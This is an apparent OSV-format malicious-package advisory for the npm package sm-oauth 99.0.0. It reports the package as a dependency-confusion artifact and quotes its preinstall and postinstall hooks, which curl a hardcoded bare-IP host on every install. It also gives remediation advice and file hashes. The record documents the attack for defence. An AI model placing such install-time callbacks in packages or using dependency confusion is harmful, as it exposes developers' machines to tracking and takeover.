MAL-2026-14398Malicious code in sm-oauth (npm)
| Ecosystem | Package | Version |
|---|---|---|
| npm | sm-oauth | * |
| npm | sm-oauth | 99.0.0 |
{"schema_version":"1.7.4","id":"MAL-2026-14398","published":"2026-08-24T05:07:41Z","modified":"2026-08-24T16:28:17.244052399Z","aliases":["GHSA-9v7m-8hh3-3mc3"],"summary":"Malicious code in sm-oauth (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (98d60527238d1284ed569a2fa7611ff2b430e1ebfab579f597f42a1eb28f49bc)\npackage.json declares preinstall and postinstall scripts that run `curl -s http://16.192.173.5/sm-oauth/pre` and `curl -s http://16.192.173.5/sm-oauth/post` on every `npm install`. The requests fire against a hardcoded bare-IP endpoint over plain HTTP, leaking the installer's network identity (source IP, install event, request metadata) to that endpoint and giving the operator a channel to serve follow-on content in the HTTP response. index.js self-identifies as a dependency-confusion test artifact and exports no functional library code; the package's only behavior on install is the outbound callback.\n\n## Source: ghsa-malware (23741b67d64c1e28d52965821562f9cb6e8cdd1276fd84969497174fd5fba2aa)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"sm-oauth","ecosystem":"npm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["99.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"61845b9a2405e0d1b2e116d46f81b4bcf7acddf242f0d580e0e52eaa5099c7d6","tlsh":"9bc0805c1504d332ff4447b6ba14dd0c7cd1018000f354a4c3a30d91db32e5af11fa56"},{"path":"index.js","sha256":"ac410b45019e4bb4f5d8acaa3dc38c0750e1f783f1b38ae1805f518f79396e1c","tlsh":"18c02b81b1ecb135a5f4484b1030021a34effdb0f61331c5e24882ade10ce6443070dc"}],"package_integrity":[{"filename":"sm-oauth-99.0.0.tgz","hashes":{"sha1":"4434df0c186655ba9df7e4ddb2bcbc36f2a0ba72","sha512_sri":"sha512-TCDGStL+1elDfeVM6AOYoo/tCDnZYJqKaL9QyAbYuFqDNomR6KmVpf1Q5wXnOqZTilxXnfDMBcL5ji0p6HOp6w=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/sm-oauth/v/99.0.0"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9v7m-8hh3-3mc3"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-018611","import_time":"2026-08-24T05:20:14.597273936Z","modified_time":"2026-08-24T05:07:41Z","sha256":"98d60527238d1284ed569a2fa7611ff2b430e1ebfab579f597f42a1eb28f49bc","source":"amazon-inspector","versions":["99.0.0"]},{"id":"GHSA-9v7m-8hh3-3mc3","import_time":"2026-08-24T16:26:16.743628314Z","modified_time":"2026-08-24T15:42:58Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"23741b67d64c1e28d52965821562f9cb6e8cdd1276fd84969497174fd5fba2aa","source":"ghsa-malware"}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}数据来源:OpenSSF Malicious Packages · Apache-2.0